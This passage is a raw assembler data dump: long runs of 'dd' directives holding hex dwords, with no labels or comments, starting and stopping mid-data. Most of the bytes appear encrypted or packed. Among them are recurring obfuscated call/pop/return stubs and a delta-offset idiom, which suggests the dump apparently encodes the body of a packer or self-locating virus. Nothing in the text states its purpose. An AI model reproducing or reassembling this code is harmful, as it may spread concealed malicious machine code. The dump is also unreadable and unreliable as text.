9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh dd 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh dd 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h dd 0B5FF4DBAh, 44FB6885h, 1F2FFB34h, 0DA51FD5Fh, 0F5133F71h dd 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah dd 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh dd 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch dd 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 37C36FEFh dd 0E5C0707Ch, 5D73B3CCh, 2C7F518Ah, 19E002D0h, 873B3CCh dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h dd 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h dd 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh dd 5E750592h, 252D4D7Ah, 69B65779h, 85C3F6FFh, 0EEC87D7Ch dd 0F373B3CCh, 0FCF8EC0Fh, 0BA3B4B07h, 5C61152Ah, 1B9DFD7Ah dd 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh dd 0F2C3F6F7h, 55C87D7Ch, 2F73B3CCh, 12F8F10Fh, 0CD3B4B07h dd 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 0AE76885h, 0C3F8FB34h dd 293B47A0h, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah dd 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 293B4BF4h, 96514ACEh dd 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah dd 0BEB5FEF0h, 25B5F179h, 68B65778h, 85C373EFh, 0EA917D7Ch dd 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh dd 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F43B4BE8h, 0CF0460F7h dd 0A0F8FB34h, 4ECD3E39h, 0D075FD7Ah, 0D9C36FEFh, 0CEB57E7Ch dd 1A8935F1h, 0BCC373EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h dd 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h dd 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 959F17FBh, 0EAFCFB34h dd 46CF7D86h, 0E573B3CCh, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah dd 10C36FE8h, 0ADFCBD7Ch, 913B4BECh, 79F835F1h, 0E33B46C4h dd 44FB6F85h, 7FFDFB34h, 4801F3Ch, 5E75FD6Dh, 99E37F79h dd 1A35FB34h, 85CE4FE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h dd 0AE37779h, 0ECF8FB34h, 293B46DAh, 2F2B5989h, 0CB75FD72h dd 53E76F85h, 0AF6FB34h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah dd 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h dd 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h dd 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah dd 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch dd 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah dd 162FFD7Ah, 85CE2C90h, 7FCF707Ch, 7973B3CCh, 71CCF50Fh dd 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 0D9C367E7h, 0D3497D7Ch dd 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah dd 937F17FBh, 25F8FB34h, 0CD3B4BE0h, 5C7D80F1h, 0F275FD72h dd 0B0145989h, 0DC75F9B8h, 0E8EF40F7h, 0EF46FB34h, 9775F5C3h dd 0AADF0E7Ah, 58F89DB9h, 0F43B4BE0h, 7874C2FBh, 0B000FC7Bh dd 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h, 53EF40F7h dd 0F3CDFB34h, 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h dd 21D278F7h, 0D08AFB34h, 16EBCA8Bh, 5 dup(0) dd 3E40101h, 64E0000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 47C35747h, 0B2C4EC8h, 95BD8B0Ah, 5006482Bh dd 8C0Fh, 4890000h, 8D8B5224h, 6482765h, 8B006A5Fh, 480F29BDh dd 8B006A06h, 480B99BDh, 7F858D06h, 0F064EBDh, 0C8Fh, 68A0F00h dd 29000000h, 4832A985h, 0BA665006h, 489EBEBh, 6AFC24h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3AC35343h dd 0E9F8C9B3h, 8, 5B7F58F1h, 6F54737Eh, 95FF006Ah, 6482B2Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EAC35545h dd 6B03805Eh, 0F5677DBFh, 63EE95Bh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 37F8DBC3h dd 0E8h, 0ED815D00h, 64EBD84h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 5BC35343h, 6A9E3Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0E626AC3h, 0B9128FAFh, 1554CD46h, 2FA8B668h, 24348128h dd 282FA716h, 0FF2FCF80h, 48092D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8BF9076Fh dd 48098DBDh, 738DBF06h, 0B58D4C80h, 64EBC7Bh, 2E83B966h dd 81E7E381h, 6C73167h, 6D676552h, 0D800Fh, 8E90000h, 5A000000h dd 0D7627D50h, 0C7F87003h, 6E6F0446h, 6A6C63h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0BEEB57C3h, 0DBA0217Ah, 3CF697B9h, 846C762h, 737361h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5AC35343h dd 5D858996h, 6A064815h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0A5FDF307h, 8DF15EBDh dd 0CCDBD29h, 0BA660648h, 858DD81Ah, 64EBC7Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8DC35545h, 8C89C762h dd 1E794F6Bh, 9E8h, 0D7305900h, 2AE219C1h, 0CE9447Ch, 0B3000000h dd 0F1A579D4h, 2324692Ah, 59105CFBh, 0E2E9B950h, 4896176h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 3816E60Fh, 0DF1DE1Fh, 0DD95FFEEh, 6A06481Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0EAA7C352h, 0DCA87175h, 559D3379h, 0B064810h dd 36840FC0h, 0F000000h, 68Bh, 55952900h, 0E9064813h, 3B3h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4C35747h dd 137526B9h, 3CBF6619h, 2C6F6842h, 0DB9D56Dh, 815BDFF8h dd 0D4BD2404h, 0CF802A92h, 2D95FFF5h, 6A064809h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8DEBC351h, 4EBC7BB5h, 0B5BD8B06h, 0C7064804h, 34383106h dd 50006A36h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 4D9BFDA1h, 7BE25099h, 3009CB81h, 0EA8059DBh dd 446C7CEh, 31342D37h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 89C35747h, 0CD1A7F11h, 14E9h, 0FDDA0900h dd 0E84259C6h, 0A27C082Fh, 0D139C3C8h, 51147EC2h, 846C7E5h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B4C35545h dd 7DBC91F2h, 0DC4607B6h, 3860FBFh, 0F000000h, 6AFFB7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ACC35646h dd 858DB7A4h, 64EBC7Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0B8C35545h, 1EDE222Bh, 5E99529h, 60900648h dd 4800Fh, 0B8660000h, 0D38B8AA1h, 0CE85061h, 7C000000h dd 62B01C43h, 0BA5A5DCCh, 5321991Ch, 310F5250h, 5B5B585Ah dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0F345E1FCh, 0A59D293Bh, 89064807h, 482EA58Dh dd 0DD95FF06h, 6A06481Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 6B8EC352h, 89CCF251h dd 482EA9B5h, 12E906h, 2D340000h, 0EA36D7FFh, 9AE16BBEh dd 8A266E4Eh, 359F5E63h, 840FC00Bh, 0Eh, 0E9FBBF0Fh, 1AFh dd 27E18D89h, 9680648h, 57601602h, 0AE9h, 1AE5B000h, 933DA21Bh dd 5994EE0Eh, 25243481h, 6A601603h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 86D9C353h dd 0F1F1DAD5h, 0FFD98BDEh, 48092D95h, 0F9958906h, 8D064806h dd 4EBC7BB5h, 6BCA8006h, 694606C7h, 6A656Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5D1772C3h dd 72E3B0A3h, 0B7B81727h, 446C72Ah, 636E6F6Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 26C35343h, 92444E10h dd 4ECE8D66h, 277DB589h, 46C70648h, 73616C08h, 56006A73h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 5CECBFE4h, 8EB9B7D3h, 0BF66D76Ah, 46C777FDh, 0Ch, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0F8BCF6CBh, 0CC76F1Eh, 6E8DFh, 64040000h, 8C43ECF4h dd 19B98D8Bh, 6A5B0648h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0FFC44F00h, 0F838E924h dd 0EF80E0EAh, 7B858D43h, 81064EBCh, 4134A8C7h, 0B6BB5041h dd 890DEBBAh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 13084CC3h, 0FA28B15h, 95FFC8BFh dd 6481CDDh, 4FD9D89h, 0C00B0648h, 0C840Fh, 0F5B90000h dd 0E91398C0h, 7, 51E9DE8Bh, 8DFFFFFAh, 487286B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 9DC6F964h, 3A88D474h, 8D035B74h, 6481391h, 4DFBE4B9h dd 0B820h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 816604C3h, 0FFAF01C9h, 59D29E6h dd 60064810h, 43ECE2BAh, 59B58B54h, 61064812h, 0AE8C18Bh dd 0D9000000h, 43ACADB1h, 7DF0ACCCh, 0CE9C2h, 0B7920000h dd 0F07AB77Eh, 8481C01Bh, 295FF026h, 4830F5BDh, 6C78106h dd 0F000076h, 680h, 959D8B00h, 6806482Bh, 0 dd 5AF6BF0Fh, 9E98589h, 0C8B0648h, 0DBB70F17h, 0EE18C181h dd 0DE90ED4h, 6D000000h, 0C09EA5C4h, 58F021AAh, 1B090E34h dd 9312F181h, 8B605B73h, 8161F8D9h, 6D8CA3E9h, 170C8966h dd 939B58Bh, 66600648h, 50BC69B8h, 1859858Bh, 615F0648h dd 0CE05EA81h, 0DE876A1h, 69000000h, 2FDD286Ah, 36A40D77h dd 2474AD89h, 4918D89h, 815E0648h, 0A1CE01C2h, 0AD858B76h dd 81064830h, 0FF8AE8FAh, 18850FFFh, 0E9000000h, 2Dh, 0B7C1CD70h dd 90AEEB67h, 818E1E49h, 9783CD4Ah, 297C3335h, 480EAD85h dd 0FF60E906h, 7517FFFFh, 1400621Ch, 0C8CB3443h, 0FB487312h dd 0E99D8DC3h, 0B806480Bh, 144Ch, 6F58589h, 0E80648h, 58000000h dd 0D05h, 0E9038900h, 144Ch, 513h dup(0) dd 9E8h, 0E8886200h, 0D531D0B5h, 0F280492Bh, 0C2815841h dd 2C1728CDh, 74F3C081h, 680000h, 8B000000h, 4833158Dh dd 12E95B06h, 0E6000000h, 47FA1FB4h, 0F8AD4563h, 0ED632F89h dd 24983F4Eh, 18348BA0h, 0F681EF8Ah, 6FEDD07Eh, 1B19BD8Bh dd 0F6810648h, 7DF234C7h, 0F681FE8Bh, 59A93B15h, 8956FB8Bh dd 4828098Dh, 18048F06h, 81AFE180h, 6104DFD7h, 0A7EB8137h dd 0B52607Eh, 480F09BDh, 0A3C38106h, 0B52607Eh, 4815A18Dh dd 0CCFB8106h, 0FFFFF8Bh, 1985h, 418D8900h, 0E906481Ch dd 24h, 5ED9C838h, 0A6A076B5h, 0A58CE38Ah, 958B0396h, 6481B91h dd 0FFFF84E9h, 0EC52CBFFh, 17CA55E1h, 0EDB797E5h, 2AE9h dd 2404C700h, 0 dd 0E8h, 0ED815D00h, 64ED9E0h, 424448Bh, 33058589h, 0B80648h dd 8D000000h, 484E808Dh, 0B8E1FF06h, 6754h, 3BE9h, 0BD8B6000h dd 6483259h, 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h dd 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h dd 100h, 0FFD3820Fh, 0C361FFFFh, 0CAFEC88Bh, 0A80BD268h dd 8A4F5ACFh, 0A80BD2B7h, 75EAD5ABh, 0A80BD30Fh, 8A4F5BF5h dd 57AE5DBAh, 8A4F5BA2h, 0A80BD07Fh, 75EAD5ABh, 0A80BD0C6h dd 8A4F5890h, 0A80BD140h, 8A4F5912h, 0A80BD13Ah, 75EAD5ABh dd 0D8D42F25h, 313648Fh, 0E68BE5C0h, 5490A752h, 2157EC9Eh dd 0C4CF61D1h, 9DD42F43h, 3136488h, 0E68BEDC0h, 790A752h dd 2157EC99h, 0C4CF7DD1h, 4CD42F43h, 3136488h, 0E68BF9C0h dd 0B390A752h, 2157EC98h, 0C4CF49D1h, 0D5D42F43h, 3136489h dd 0E68BC5C0h, 4C90A752h, 2157EC98h, 0C4CF45D1h, 0AFD42F43h dd 313648Ah, 0E68BD1C0h, 0C290A752h, 2157EC9Bh, 0C4CF5DD1h dd 21D42F43h, 313648Ah, 0E68BD9C0h, 4890A752h, 2157EC9Bh dd 0C4CF55D1h, 12B8C343h, 0DF152A50h, 6CD24ECEh, 8AFD4AA8h dd 0F251A245h, 513FC0D5h, 0ED96A40Bh, 8A152AA8h, 0A0242945h dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh dd 3AAE63CEh, 8C5D26B5h, 0AB534284h, 0FFEA2211h, 0A4245D55h dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h dd 27BFEA66h, 10DB2FEEh, 751364E3h, 2011294h, 3DADA0D9h dd 79AEA40Bh, 0AE51A1ECh, 22DC0941h, 8C5B9DECh, 103773BAh dd 21732ADFh, 1FE928C8h, 5BEA2C1Ah, 8C152BFDh, 988150h dd 0AE1F15FDh, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 51FFC0D5h dd 0DDDAA40Bh, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 0B87830BAh dd 529E2C1Ch, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 3DADA0D9h dd 79AEA40Bh, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh dd 174D629h, 6A985E00h, 1402A5Ch, 549521A9h, 8A15C234h dd 290BA245h, 0C4C96BBEh, 0A0242943h, 4D1957DFh, 0A8515E00h dd 75532A54h, 0E0418BD7h, 19CDA152h, 9BFC69CEh, 0E2A5B997h dd 0F9FA31EFh, 3DADA0D9h, 79AEA40Bh, 20949A0Dh, 8C651A23h dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h, 2851A245h dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh, 0ED96AE38h dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh, 85E1D4h dd 22DC0886h, 8C5B9DECh, 0F8E173BAh, 329FA7FEh, 5757ECF2h dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h dd 75152A54h, 0E05D43D7h, 20452652h, 1FE928C8h, 5BEA2C1Ah dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h dd 0A42C294Dh, 8AE96F93h, 451A245h, 0A387D5FEh, 2357EA55h dd 4917868Ch, 10DB2FEFh, 751364E3h, 28E9C494h, 0BE4CBDh dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh, 2BBD2910h dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h, 18EA80F8h dd 0AE19B26Ch, 58B9E2DFh, 32DC0885h, 8C5B9DECh, 103771BAh dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h dd 75BF8654h, 0E0418BD7h, 26DDA152h, 25FB6377h, 0C4A292CEh dd 0CE825D43h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh dd 0A8515E00h, 32732A54h, 3376B77h, 3DADB0D9h, 7BAEA40Bh dd 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh, 43E96FDFh dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h dd 0EC152A54h, 0CEB824FDh, 328FA7FFh, 5757ECF2h, 20A09A87h dd 25FB0E03h, 0C4A292CEh, 0CE825D43h, 0ECD8ACECh, 0A42C89EEh dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h dd 0F251A245h, 5507C0D5h, 0ED96A40Bh, 8A152AA8h, 0A0242945h dd 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h dd 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h dd 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h dd 2559D7BAh, 0C4CF6DCEh, 32DCF143h, 8C5BF14Ah, 0EDD871BAh dd 8A42C3A8h, 0DDAEA245h, 8260D558h, 720638C8h, 7462C1Ah dd 0E68ABCDFh, 3C6D552h, 92B85E00h, 75152A54h, 0DDAEAE30h dd 0E98FA75Ch, 0FB57EC9Fh, 510BB0D9h, 7BAEA40Bh, 63E96FDDh dd 0A851A258h, 75195FABh, 32DCAA30h, 8C5BF03Bh, 0B6CB2F16h dd 7513648Fh, 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h dd 3044BA45h, 8D8D0000h, 64EE09Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 79C35646h, 77BAD763h, 0B2D9A4AEh dd 2EE9958Bh, 8D890648h, 6481405h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0F9C35141h, 81850157h, 5B064813h dd 1879BD89h, 85C70648h, 6483025h, 5D04h, 0F6F08166h, 0D985C78Eh dd 6482Ah, 0B3000000h, 3DB5FF97h, 60064828h, 663BEB80h dd 612D91BFh, 0E7195FFh, 0AE80648h, 1C000000h, 66CED5D2h dd 0D3BAFB71h, 11E9F5h, 0E0AC0000h, 1E860064h, 0FB0CC3ADh dd 7D4656F7h, 5A5AE4C8h, 95FF006Ah, 648092Dh, 3DEBC08Bh dd 75EAA7F8h, 79DCA871h, 0B92B255Dh, 42C90DDAh, 2C914278h dd 0EA0A34F4h, 0B1084A1Ah, 0E747BEAEh, 5C5462A8h, 0F51E9EBBh dd 9A2E821Eh, 44357E45h, 0A24008F3h, 7DB86224h, 0F86F09DAh dd 0B38D8DDBh, 0E9064EE1h, 10h, 0C0B794E2h, 44B7788Dh dd 347FAB75h, 0A9B64757h, 14058D89h, 8B660648h, 2585C7D3h dd 0C8064830h, 0E800006Ah, 0Bh, 97BD349Dh, 0E29511FFh dd 8BCC864Eh, 4814DDB5h, 8D295A06h, 6481CB9h, 2AD985C7h dd 648h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0CEFC93C3h, 8B58506Fh, 4814B19Dh dd 25B5FF06h, 6A06480Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 99C5C356h, 55631758h dd 23398589h, 95FF0648h, 6480E71h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0F2C35141h, 0C4120BB4h, 0FF006A10h dd 48092D95h, 0EBC08B06h, 0D4D1532Bh, 58598C97h, 0E38159D7h dd 30DC514Dh, 0DB26B1F0h, 294AC524h, 93E826ECh, 0EF9D430Bh dd 9252C9FDh dd 4A992794h, 9D86D175h, 0D2E9h, 0CDC46D00h, 7471F3AFh dd 0F8E77814h, 6D640C98h, 1217930Fh, 3C046D76h, 0C7D3B1B0h dd 48442421h, 0D2CEAAADh, 9D365251h, 13F4B40Ah, 7EC07C73h dd 0E4FD85A5h, 15690097h, 76243253h, 18B00661h, 9FFDF47Ch dd 243282C1h, 0A8E08C76h, 1E267666h, 4F7623EEh, 0EDA2E6B8h dd 412E7623h, 0F85E53D3h, 65CE7CDAh, 0FE922976h, 6E0F7C73h dd 0E28D7830h, 8BCDA175h, 5975E28Dh, 0ED45225Eh, 15CFh dd 0E9804400h, 2432D395h, 3E90E176h, 7624327Ah, 12B83946h dd 0FC85D942h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 68B9BFCCh dd 64EE1E8h, 0F99BC8E9h, 74D684FFh, 0FA271F17h, 83B9A2BFh dd 0B88B4823h, 64EE2A2h, 4EBC503h, 3236BDDFh, 0D2FE9h dd 0E4AE6800h, 9EE9064Eh, 68FFF99Bh, 64EE5B4h, 0F99B94E9h dd 0E6A268FFh, 8AE9064Eh, 68FFF99Bh, 64EE732h, 0F99B80E9h dd 0EA8C68FFh, 76E9064Eh, 68FFF99Bh, 64EED69h, 0F99B6CE9h dd 0EE8868FFh, 62E9064Eh, 97FFF99Bh, 257113EEh, 0A2FE9A9Fh dd 36620E1Dh, 0C5D1B38Eh, 3B583839h, 0C3C6625Ah, 7653F5A1h dd 0FCF37E2Ah, 6463009Ch, 66384F04h, 7C731622h, 858F18AEh dd 0FC8BF8F9h, 6DC5C460h, 630100ADh, 0FB6A300Bh, 6BC3DE61h dd 129E13AAh, 6DC12625h, 402DAB03h, 0A47C6C88h, 581CAADBh dd 0F37C6C33h, 77AC9847h, 0ADDBA913h, 27h, 0DC7EB9F6h dd 535C7549h, 0CFA87C6Ch, 526420BEh, 73EF7C6Ch, 27CF618Ch dd 0F65C5D2Ah, 0A92E3DE6h, 7E7DBh, 673C0000h, 8C5h, 0B0E980FCh dd 95D5889Fh, 41075700h, 887624CAh, 56725846h, 9D1A9666h dd 0C8DE6535h, 0DEAF2C2Bh, 462221C2h, 98335A4Fh, 4D9C7B41h dd 6C2E09E5h, 4078A5F9h, 36C7C6Dh, 1BA0E472h, 3FAB7C6Dh dd 0FBBF6440h, 902CDBA9h, 2E6FE70Eh, 62C36285h, 790494E5h dd 8D51F966h, 38h, 0ABB648E4h, 7EB96003h, 647549DCh, 0B07C6C40h dd 20CC60F7h, 0FB535021h, 40266EFCh, 0D7527C6Ch, 4ED1A3D0h dd 530F2253h, 8BA57ECh, 38E7553h, 0BE54DBA9h, 0CF000000h dd 40FFE85h, 2E863078h, 56D7B255h, 0BC3D38BAh, 3031BDCFh dd 0B7B23143h, 0A09AAC6h, 0A094F06Eh, 63007624h, 0EB880464h dd 6319FECh, 70FDD144h, 0B47C6CC9h, 0F6C1A9CBh, 712AC154h dd 699303Ah, 780D6A1Bh, 0F2585488h, 0B71A04E4h, 991BB582h dd 0FDBA369Ch, 412AD66Ah, 271A2B6Dh, 0DCDD5976h, 2642C3ACh dd 74CBCE6Ah, 129DDC9Eh, 0A547F7A8h, 2B00000Ah, 0B9D5B78Ah dd 46523E3Bh, 0CAC6A2A1h, 5935572Ah, 97BCDCDDh, 677A063Eh dd 0EAF78905h, 9097128Eh, 181FA4F0h, 0FAD4EB78h, 7C7316BEh dd 85D3B40Ah, 0D66DF8F9h, 6FCB49DDh, 0A9F9F1E7h, 7624D8EFh dd 8C1CB2FDh, 0F4949310h, 0DC7EB96Fh, 360BB749h, 3923879h dd 6C401EABh, 0DCADCA7Ch, 6C40460Eh, 0EA510D7Ch, 96D2AC43h dd 227C6C3Fh, 0F6EFC2B1h, 941505D3h, 9C75AE3Eh, 0C7AFDBA9h dd 0F4000000h, 8AFBFE85h, 0F1CD64FBh, 762432B7h, 6C2C7A05h dd 78762432h, 7FFB973Fh, 0D7BD0D7Ah, 0CD762437h, 50412326h dd 2B290D5Bh, 0BA1015D0h, 0BB4D55DEh, 1AB621AEh, 8FEC9D98h dd 0FBC48827h, 0BDCDC651h, 6D5FBF1h, 3FD6BF17h, 0FBBD11A8h dd 0C97624C3h, 0C3B8F0AEh, 7B047624h, 0ED7885D3h, 0C3AC7C6Ch dd 3F3AB854h, 98A30B97h, 9C0B63F2h, 0CC82B78Ch, 1C9834A3h dd 87237F1Dh, 0A9CD3B82h, 34EB129Eh, 99F86h, 0B1B03100h dd 383DC7D3h, 0ACBB4C58h, 5150D0CCh, 0C6DB6733h, 3899BAh dd 8B076564h, 1C88E8F5h, 0A6F29E91h, 0E97A061Dh, 17C0F8D6h dd 0BA0C7C73h, 0EBF985E9h, 0A8C84954h, 0C6DB67F9h, 403A070h dd 0FE85DF64h, 0CE030B0Fh, 515E2F22h, 3119AF24h, 32B1C3B0h dd 0C7655537h, 0E60142Fh, 7624B14Ah, 0B05D1B73h, 0C6B7624h dd 23B2337Ch, 6CC1024Bh, 0BB59267Ch, 31D4462Dh, 73457E26h dd 550E70EAh, 0F2B76355h, 0D6057C09h, 0FFCF46C7h, 2BFA1E5Eh dd 292ABD4Fh, 0EA1E1355h, 59C6A11Fh, 47015D28h, 951FEA1Eh dd 0B5C56DEAh, 24C15BCAh, 0AEEE8D25h, 0E60F795h, 26359DA6h dd 0FAFF8517h, 7F72FF8Dh, 5F5858FEh, 0C49A31C8h, 25B2C684h dd 473433B0h, 852D4A26h, 217D6E15h, 25B2C667h, 0EF8D0A75h dd 8A3530B3h, 63122F34h, 0B11D8D02h, 27000008h, 0B5E1839Eh dd 326E0A0Fh, 0C6D2BEADh, 5541233Eh, 0ABC8A8A9h, 7376F2CAh dd 0E6E38511h, 6C630E9Ah, 1413900Ch, 0F6C8DF74h, 7C7318B2h dd 85FFA83Eh, 0C28AFBFEh, 0EAC453F9h, 7C6C446Bh, 8B25B0FFh dd 1D89EBEEh, 52E09190h, 7C6C4416h, 0B0EB547h, 0C7953D7Ah dd 7C6C537Dh, 77EEAC97h, 0B446A227h, 9834CB82h, 16E1F1Ah dd 24451751h, 4EDAA576h, 6A06ACA3h, 92297C0Dh, 24447C3Ch dd 872F4876h, 0D26D680Bh, 12A0B0E2h, 21BB2BE4h, 0B7000008h dd 4551330Eh, 0C2DEBABFh, 56422E3Dh, 0E5B1D3AEh, 1B385859h dd 0E3E682BAh, 96731581h, 1C139E0Ah, 8483207Ch, 6586FE4h dd 